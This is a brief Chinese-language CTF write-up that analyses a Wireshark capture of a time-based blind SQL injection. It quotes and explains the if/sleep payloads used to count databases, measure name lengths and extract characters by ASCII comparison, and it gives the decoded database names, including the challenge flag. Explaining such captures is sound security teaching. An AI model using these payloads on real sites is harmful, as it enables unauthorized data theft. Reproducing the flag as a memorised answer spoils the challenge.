题目链接:跳转提示
用wireshark打开文件,联系题目名字发现这是一个基于时间延迟的SQL注入,
其中,
id=1 and if((select count(*) from information_schema.schemata)=2,sleep(1),0)--+
information_schema.schemata——所有数据库名
select count(*) from information_schema.schemata——计算数据库数量
所以上面那句话的意思是,如果数据库数量为2,则休眠一秒,即观察response时间与请求时间之间的时间延迟,就可以判段出数据库数量
可见总共有6个数据库
?id=1 and if((select length(concat(schema_name)) from information_schema.schemata limit 0,1)=1,sleep(0.4),0)--+
该语句含义是判断第一个(limit 0,1)数据库的名字长度是否为1,若是则时间延迟0.4秒,否则无延迟,因此:
可见第一个数据库名长度有18字节
id=1 and if(ascii(substr((select%20schema_name%20from%20information_schema.schemata%20limit%200,1),1,1))%20%3C%20126,sleep(0.4),0)--+
%3C解码是<
%3E解码是>
这句话的含义是,判断第一个数据库名的第一个字符的ASCII值是否<126,如果是,则时间延迟0.4秒
这道题利用这种方法来找出数据库全部名称,当出现<>某个ASCII值时,意味着=
如:
,如此,可以推出数据库名有:
s1=[105,110,102,111,114,109,97,116,105,111,110,95,115,99,104,101,109,97]
s2=[99,104,97,108,108,101,110,103,101,115]
s3=[102,108,97,103,95,56,97,102,56,101,48,51,99,54,56,57,50,52,55,54,102,56,52,100,49,101,51,52,55,49,56,55,98,50,52,52,57]
第三个数据库名称即出现flag值